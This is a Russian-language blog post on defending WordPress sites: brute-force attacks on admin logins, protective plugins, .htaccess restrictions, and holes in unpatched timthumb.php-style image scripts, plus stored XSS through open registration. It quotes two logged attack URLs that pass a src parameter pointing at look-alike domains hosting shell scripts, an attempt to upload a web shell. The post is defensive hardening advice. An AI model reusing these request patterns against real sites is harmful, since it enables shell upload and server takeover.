Уязвимости сайта на WordPress


Основные (публичные) уязвимости движка на WordPress

Что такое уязвимости, я думаю рассказывать не нужно, поэтому перейду сразу к сути.

Уязвимости WordPress

Уязвимости WordPress

15 апреля 2013 года, Matt Mullenweg опубликовал предупреждение о том, что порядка 90.000 ip адресов было зафиксированно  в brute force attacks, которые были направлены на взлом админок WordPress.

Статья опубликована на английском языке, и наверняка многие из вас ее не читали, поэтому в вкратце донесу ее суть.

Основной вектор атаки направлен на подбор пароля к учетной записи admin, и естественно для защиты сайта от взлома с использованием грубой силы,  Matt Mullenweg рекомендовал изменить имя администратора, использовать двухуровневую систему аутентификации (т. е. юзать для защиты админки WordPress файл .htaccess),  и конечно же обновить движок до последней версии 3.5.1

Сам процесс брутфорс атак является полностью автоматизированным, в котором принимают участие, как вы догадываетесь компьютеры простых пользователей сети интернет, но в качестве сравнения была приведена статистика, которая отмечает увеличение количества атак аж в три раза!

Одним из возможных вариантов защиты является использование плагинов: Lockdown WP Admin, Better WP Security и Bulletproof Security. Да, и пароль у суперпользователя (админа) должен быть достаточно стойкий к взлому.

Ну а лично от себя, я бы еще рекомендовал сменить почту для сброса пароля администратора, если доступ в админку не закрыт по ip адресу в .htaccess.

Поиск и ручное обнаружение уязвимостей

Если у вас есть в распоряжении много свободного времени, и вы обладаете достаточным уровнем знаний в программировании, то собственно больше ничего вам и не мешает этим заняться. :)

Но для защиты собственного сайта, это в принципе не является обязательным, достаточно лишь регулярно проводить мониторинг различных форумов и порталов посвященных IT безопасности, и желательно  не только русскоязычных. Так возможно вы окажитесь в числе одних из первых, кто и узнает о новом баге.

Лично мне, немного помогает в поиске направления возможных уязвимостей, страница ошибки 404 которая фиксирует все неудачные некорректные запросы к сайту, и сохраняет в базе. Кстати за пол года объем базы вырос до нескольких десятков мегабайт, и уж поверьте мне это очень много. Поэтому периодически ее приходится чистить и делать своеобразный backup. :)

Наиболее частым является вызов скриптов:

my-sites.ru/wp-content/themes/тема/timthumb.php?src=httр://picasa.com.взломанный_сайт.com/file.php

my-sites.ru/wp-content/themes/тема/img_x.php?src=http://flickr.com.уже_другой.com/shellx.php

Скрипты: timthumb.phpimg_x.phpthumb.php отвечают за изменения размеров изображений, и иногда (5-10%) используются в некоторых темах WordPress.

В необновленных версиях этих стриптов,  отсутствует корректная проверка передаваемых параметров, и как следствие появляется возможность загрузить шелл на сервер.

В обновленном скрипте (img_x.php) своей темы я нашел вот такие строки:

$ALLOWED_SITES = array (
‘themify.me’,
‘flickr.com’,
‘picasa.com’,
‘img.youtube.com’,
‘upload.wikimedia.org’,
);

Массив $ALLOWED_SITES состоит из списка доверенных доменов,  и корректно загружает изображения которые располагаются на одноименных поддоменах. Но так, как я тестировал обновленную версию скрипта, ничего кроме картинок с других доменов, мне загрузить не удалось. :)

А swf файлы с XSS инъекциями  и картинки содержащие PHP (JavaScript) код,  тупо уходили в ошибку. Но, на всякий случай я удалил все строки с разрешенными поддоменами из массива $ALLOWED_SITES, и сделал редирект, в случае передачи некорректного значения переменной $src, и теперь вместо отображения на странице записей вида:

A WordThumb error has occured

The following error(s) occured:

WordThumb version : 1.01

просто происходит редирект на сайт Вордпресс. 😉

Кстати для поиска не закрытых уязвимостей в скрипте timthumb.php и подобных ему, на Вордпресс существует плагин Timthumb Vulnerability Scanner, который позволяет полностью автоматизировать этот процесс.

Активная XSS уязвимость в WordPress

Суть данной уязвимости заключается в том, что два типа пользователей Ворпресс имеют возможность вставлять JavaScript в тело создаваемых или редактируемых постов, который на законных основаниях будет хранится на сервере.

Здесь у злоумышленника есть два пути:

Первый, он же самый простой, заключается в том, что злоумышленнику нужно всего лишь проверить возможность регистрации нового пользования:
сайт.ру/wp-login.php?action=register, а в настройках по умолчанию, как вы уже наверное догадываетесь, она присутствует. 😉

Второй способ подразумевает подбор пароля к уже созданному пользователю. Поэтому, если файл авторизации wp-login.php не защищен должным образом, то сбрутить пароль, всего лишь дело времени.

Лично я использую HTTP аутентификацию только для защиты файла wp-login.php, а для доступа к папке администратора создаю еще ограничение по ip адресу.

Почему? 

Ответ на этот вопрос вы можете найти в статье: XmlHttpRequest и уязвимость HTTP авторизации.

P.S. Возможно в этой статье, я позволил себе некоторое повторение своего старого материала, но всегда лучше предотвратить заболевание заражение, нежели потом лечиться. Да и повторение, как кто-то говорил: учения, есть мать! Не забывайте обновлять движок и темы WordPress.

End;